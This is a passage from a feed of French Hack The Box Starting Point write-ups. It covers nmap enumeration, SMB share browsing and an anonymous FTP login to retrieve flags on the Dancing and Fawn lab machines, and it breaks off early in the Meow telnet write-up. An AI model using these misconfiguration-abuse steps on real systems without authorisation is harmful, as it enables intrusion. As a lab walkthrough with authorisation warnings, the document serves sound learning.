class="token plain">  Thu Jun  </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> 08:38:03 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">                                  D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Thu Jun  </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> 08:38:03 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  flag.txt                            A       </span><span class="token number" style="color:#36acaa">32</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 09:26:57 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token number" style="color:#36acaa">5114111</span><span class="token plain"> blocks of size </span><span class="token number" style="color:#36acaa">4096</span><span class="token plain">. </span><span class="token number" style="color:#36acaa">1752993</span><span class="token plain"> blocks available</span><br></span></code></pre></div></div>
<p>Et voilà le trésor ! Le fichier <strong>flag.txt</strong> est là. On le télécharge aussi.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">James.P</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> get flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">getting </span><span class="token function" style="color:#d73a49">file</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">James.P</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">flag.txt of size </span><span class="token number" style="color:#36acaa">32</span><span class="token plain"> as flag.txt </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0.5</span><span class="token plain"> KiloBytes/sec</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">average </span><span class="token number" style="color:#36acaa">0.9</span><span class="token plain"> KiloBytes/sec</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>On peut quitter proprement avec <code>exit</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin class-name">exit</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/dancing#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>De retour sur notre machine locale, on vérifie notre butin.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Desktop    Downloads  Pictures  Templates  flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Documents  Music      Public    Videos     worknotes.txt</span><br></span></code></pre></div></div>
<p>On jette un œil aux notes d'Amy pour la forme :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$cat</span><span class="token plain"> worknotes.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- start apache server on the linux machine</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- secure the </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain"> server</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- setup winrm on dancing</span><br></span></code></pre></div></div>
<p>C'est juste une To-Do list (ironique vu qu'elle n'a pas sécurisé le <strong>SMB</strong>…), ça ne nous sert pas ici. Mais gardez le réflexe : sur des machines plus complexes, c'est souvent ce genre de fichier qui vaut de l'or pour repérer le prochain vecteur d'attaque ou trouver la prochaine vulnérabilité à exploiter.</p>
<p>Le moment de vérité, on affiche le flag :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$cat</span><span class="token plain"> flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">5f6</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><span class="token punctuation" style="color:#393A34">}</span><span class="token number" style="color:#36acaa">664</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-aller-plus-loin">Pour aller plus loin<a href="https://mohamedoutougane.com/writeups/dancing#pour-aller-plus-loin" class="hash-link" aria-label="Lien direct vers Pour aller plus loin" title="Lien direct vers Pour aller plus loin" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="script-automatisé">Script automatisé<a href="https://mohamedoutougane.com/writeups/dancing#script-automatis%C3%A9" class="hash-link" aria-label="Lien direct vers Script automatisé" title="Lien direct vers Script automatisé" translate="no">​</a></h3>
<p>J'ai fait un script bash qui permet de récuperer automatiquement le flag de la box Dancing :
<a href="https://github.com/MohamedOutougane/Dancing_Automated" target="_blank" rel="noopener noreferrer" class="">MohamedOutougane/Dancing_Automated</a></p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Windows</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Fawn]]></title>
            <link>https://mohamedoutougane.com/writeups/fawn</link>
            <guid>https://mohamedoutougane.com/writeups/fawn</guid>
            <pubDate>Mon, 24 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Une connexion anonyme sur FTP?]]></description>
            <content:encoded><![CDATA[<p><strong>Fawn</strong> est la seconde box du parcours <em>Starting Point</em> de <a href="https://www.hackthebox.com/" target="_blank" rel="noopener noreferrer" class="">Hack The Box</a>. Elle permet de découvrir un autre service potentiellement exploitable durant un pentest : le <strong>FTP</strong>.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/fawn#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/Y32-D6f8HZ4" title="Fawn Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance-information-gathering">Reconnaissance (Information gathering)<a href="https://mohamedoutougane.com/writeups/fawn#reconnaissance-information-gathering" class="hash-link" aria-label="Lien direct vers Reconnaissance (Information gathering)" title="Lien direct vers Reconnaissance (Information gathering)" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte-asset-discovery">Découverte d'hôte (Asset discovery)<a href="https://mohamedoutougane.com/writeups/fawn#d%C3%A9couverte-dh%C3%B4te-asset-discovery" class="hash-link" aria-label="Lien direct vers Découverte d'hôte (Asset discovery)" title="Lien direct vers Découverte d'hôte (Asset discovery)" translate="no">​</a></h3>
<p>La première étape est de vérifier que la machine répond avec la commande <code>ping</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PING </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">56</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">84</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> bytes of data.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">16.1</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">15.5</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">^C</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/fawn#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">21</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain">     vsftpd </span><span class="token number" style="color:#36acaa">3.0</span><span class="token plain">.3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Unix</span><br></span></code></pre></div></div>
<p>Port <strong>21/tcp</strong> ouvert. Le service <strong>FTP</strong> (vsftpd 3.0.3) est non chiffré. Sur des machines mal configurées, il peut accepter des connexions anonymes.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-exploitation<a href="https://mohamedoutougane.com/writeups/fawn#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-exploitation" title="Lien direct vers Pré-exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilité">Evaluation de vulnérabilité<a href="https://mohamedoutougane.com/writeups/fawn#evaluation-de-vuln%C3%A9rabilit%C3%A9" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilité" title="Lien direct vers Evaluation de vulnérabilité" translate="no">​</a></h3>
<p>On tente une connexion interactive via <code>ftp 10.129.130.0</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ftp</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Connected to </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">220</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">vsFTPd </span><span class="token number" style="color:#36acaa">3.0</span><span class="token plain">.3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Name </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0:user</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">:</span><br></span></code></pre></div></div>
<p>Le service présente une invite d'authentification. On va tenter le compte <code>anonymous</code> avec un mot de passe vide.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/fawn#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accès-initial">Accès initial<a href="https://mohamedoutougane.com/writeups/fawn#acc%C3%A8s-initial" class="hash-link" aria-label="Lien direct vers Accès initial" title="Lien direct vers Accès initial" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">Name </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.130.0:user</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">: anonymous</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">331</span><span class="token plain"> Please specify the password.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">230</span><span class="token plain"> Login successful.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ftp</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-rw-r--r--    </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">              </span><span class="token number" style="color:#36acaa">32</span><span class="token plain"> Jun 04  </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"> flag.txt</span><br></span></code></pre></div></div>
<p>Connexion validée ! On télécharge le flag.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">ftp</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> get flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ftp</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin class-name">exit</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/fawn#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$cat</span><span class="token plain"> flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">035</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.hidden</span><span class="token punctuation" style="color:#393A34">..</span><span class="token punctuation" style="color:#393A34">}</span><span class="token number" style="color:#36acaa">815</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-aller-plus-loin">Pour aller plus loin<a href="https://mohamedoutougane.com/writeups/fawn#pour-aller-plus-loin" class="hash-link" aria-label="Lien direct vers Pour aller plus loin" title="Lien direct vers Pour aller plus loin" translate="no">​</a></h2>
<p>Script Python de récupération automatique du flag :
<a href="https://github.com/MohamedOutougane/Fawn_Automated" target="_blank" rel="noopener noreferrer" class="">MohamedOutougane/Fawn_Automated</a></p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Meow]]></title>
            <link>https://mohamedoutougane.com/writeups/meow</link>
            <guid>https://mohamedoutougane.com/writeups/meow</guid>
            <pubDate>Mon, 17 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment utiliser une mauvaise configuration Telnet.]]></description>
            <content:encoded><![CDATA[<p><strong>Meow</strong> est la première box du parcours <em>Starting Point</em> de Hack The Box. C'est une machine très simple, idéale pour débuter.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Dans ce walkthrough, j'anonymise l'IP cible par <code>99.99.99.99</code> par précaution.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Je ne publie pas directement le flag final dans ce guide, l'objectif est d'apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine !</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/meow#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/RGixHuuqmsI" title="Meow Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance-information-gathering">Reconnaissance (Information gathering)<a href="https://mohamedoutougane.com/writeups/meow#reconnaissance-information-gathering" class="hash-link" aria-label="Lien direct vers Reconnaissance (Information gathering)" title="Lien direct vers Reconnaissance (Information gathering)" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte-asset-discovery">Découverte d'hôte (Asset discovery)<a href="https://mohamedoutougane.com/writeups/meow#d%C3%A9couverte-dh%C3%B4te-asset-discovery" class="hash-link" aria-label="Lien direct vers Découverte d'hôte (Asset discovery)" title="Lien direct vers Découverte d'hôte (Asset discovery)" translate="no">​</a></h3>
<p>La première étape est de vérifier que la machine répond avec la commande <code>ping</code> suivi de l'<strong>IP</strong> de la cible. Cela permet de confirmer la connectivité réseau.</p>
